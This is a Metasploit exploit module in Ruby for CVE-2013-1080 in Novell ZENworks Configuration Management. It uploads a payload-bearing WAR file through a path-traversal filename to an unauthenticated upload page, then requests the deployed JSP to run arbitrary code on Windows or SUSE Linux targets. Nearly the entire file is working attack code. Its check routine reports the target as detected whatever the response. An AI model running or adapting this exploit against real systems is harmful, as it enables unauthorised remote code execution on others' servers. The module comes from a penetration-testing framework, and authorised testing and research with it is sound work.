##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = GreatRanking

  HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] }

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'Novell ZENworks Configuration Management Remote Execution',
      'Description' => %q{
          This module exploits a code execution flaw in Novell ZENworks Configuration
        Management 10 SP3 and 11 SP2. The vulnerability exists in the ZEnworks Control
        Center application, allowing an unauthenticated attacker to upload a malicious file
        outside of the TEMP directory and then make a second request that allows for
        arbitrary code execution. This module has been tested successfully on Novell
        ZENworks Configuration Management 10 SP3 and 11 SP2 on Windows 2003 SP2 and SUSE
        Linux Enterprise Server 10 SP3.
      },
      'Author'      =>
        [
          'James Burton', # Vulnerability discovery
          'juan vazquez' # Metasploit module
        ],
      'License'     => MSF_LICENSE,
      'References'  =>
        [
          [ 'CVE', '2013-1080' ],
          [ 'BID', '58668' ],
          [ 'OSVDB', '91627' ],
          [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-049/' ],
          [ 'URL', 'http://www.novell.com/support/kb/doc.php?id=7011812' ]
        ],
      'Privileged'  => false,
      'Platform'    => [ 'win', 'linux' ],
      'Targets'     =>
        [
          [ 'ZENworks Configuration Management 10 SP3 and 11 SP2 / Windows 2003 SP2',
            {
              'Arch' => ARCH_X86,
              'Platform' => 'win',
              'Traversal' => '../webapps/'
            }
          ],
          [ 'ZENworks Configuration Management 10 SP3 and 11 SP2 / SUSE Linux Enterprise Server 10 SP3',
            {
              'Arch' => ARCH_X86,
              'Platform' => 'linux',
              'Traversal' => '../../opt/novell/zenworks/share/tomcat/webapps/'
            }
          ]
        ],
      'DefaultTarget'  => 1,
      'DisclosureDate' => 'Mar 22 2013'))

    register_options(
      [
        Opt::RPORT(443),
        OptBool.new('SSL', [true, 'Use SSL', true])
      ], self.class)
  end

  def check
    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => "/zenworks/jsp/fw/internal/Login.jsp"
    })

    if res and res.code == 200 and res.body =~ /Novell ZENworks Control Center/
      return Exploit::CheckCode::Detected
    end

    return Exploit::CheckCode::Detected
  end

  def exploit

    # Generate the WAR containing the EXE containing the payload
    app_base = rand_text_alphanumeric(4+rand(4))
    jsp_name = rand_text_alphanumeric(8+rand(8))

    war_data = payload.encoded_war(:app_name => app_base, :jsp_name => jsp_name).to_s

    print_status("Uploading #{war_data.length} bytes as #{app_base}.war ...")

    # Rex::MIME::Message.new doesn't work fine with binary data, destroys "\x0d" chars
    boundary = "----#{rand_text_alpha(34)}"
    data = "--#{boundary}\r\n"
    data << "Content-Disposition: form-data; name=\"mainPage:_ctrl21a:FindFile:filePathTextBox\"; filename=\"#{target['Traversal']}#{app_base}.war\"\r\n"
    data << "Content-Type: application/octet-stream\r\n\r\n"
    data << war_data
    data << "\r\n"
    data << "--#{boundary}--"

    res = send_request_cgi(
      {
        'method' => 'POST',
        'uri'    => "/zenworks/jsp/index.jsp?pageid=newDocumentWizard",
        'ctype'  => "multipart/form-data; boundary=#{boundary}",
        'data'   => data
      })

    if res and res.code == 302
      print_status("Upload finished, waiting 20 seconds for payload deployment...")
    else
      fail_with(Exploit::Failure::Unknown, "Failed to upload payload")
    end

    # Wait to ensure the uploaded war is deployed
    select(nil, nil, nil, 20)

    print_status("Triggering payload at '/#{app_base}/#{jsp_name}.jsp' ...")
    send_request_cgi({
      'uri'    => normalize_uri(app_base, "#{jsp_name}.jsp"),
      'method' => 'GET',
    })
  end

end